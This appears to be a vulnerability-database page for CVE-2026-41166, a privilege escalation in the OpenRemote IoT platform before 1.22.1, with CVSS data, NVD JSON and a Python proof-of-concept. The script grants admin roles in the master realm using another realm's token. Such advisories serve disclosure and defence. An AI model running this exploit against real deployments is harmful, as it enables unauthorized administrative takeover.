Security Vulnerability Report
中文
CVE-2026-41166 CVSS 7.0 HIGH

CVE-2026-41166

Published: 2026-04-22 21:17:09
Last Modified: 2026-04-24 13:10:22

Description

OpenRemote is an open-source internet-of-things platform. Prior to version 1.22.1, a user who has `write:admin` in one Keycloak realm can call the Manager API to update Keycloak realm roles for users in another realm, including `master`. The handler uses the `{realm}` path segment when talking to the identity provider but does not check that the caller may administer that realm. This could result in a privilege escalation to `master` realm administrator if the attacker controls any user in `master` realm. Version 1.22.1 fixes the issue.

CVSS Details

CVSS Score
7.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:openremote:openremote:*:*:*:*:*:*:*:* - VULNERABLE
OpenRemote < 1.22.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_host = "https://<target-openremote-host>" attacker_token = "<attacker_access_token>" # Token with write:admin in ANY realm # The ID of the user in the 'master' realm to escalate (e.g., attacker's user ID) master_user_id = "<target_user_id_in_master_realm>" # Vulnerable Endpoint: Updating roles in the 'master' realm # The vulnerability allows specifying 'master' in the path even if the token is for another realm url = f"{target_host}/api/master/users/{master_user_id}/roles/clients/<client_id>" headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } # Payload to assign administrative role payload = { "roles": ["admin", "realm-management"] } try: response = requests.post(url, json=payload, headers=headers, verify=False) if response.status_code == 204: print("[+] Exploit successful! Privileges escalated in master realm.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41166", "sourceIdentifier": "[email protected]", "published": "2026-04-22T21:17:09.167", "lastModified": "2026-04-24T13:10:21.543", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenRemote is an open-source internet-of-things platform. Prior to version 1.22.1, a user who has `write:admin` in one Keycloak realm can call the Manager API to update Keycloak realm roles for users in another realm, including `master`. The handler uses the `{realm}` path segment when talking to the identity provider but does not check that the caller may administer that realm. This could result in a privilege escalation to `master` realm administrator if the attacker controls any user in `master` realm. Version 1.22.1 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openremote:openremote:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.22.1", "matchCriteriaId": "69912FC9-C280-4732-9D5B-9B323D1868A8"}]}]}], "references": [{"url": "https://github.com/openremote/openremote/releases/tag/1.22.1", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/openremote/openremote/security/advisories/GHSA-49vv-25qx-mg44", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/openremote/openremote/security/advisories/GHSA-49vv-25qx-mg44", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}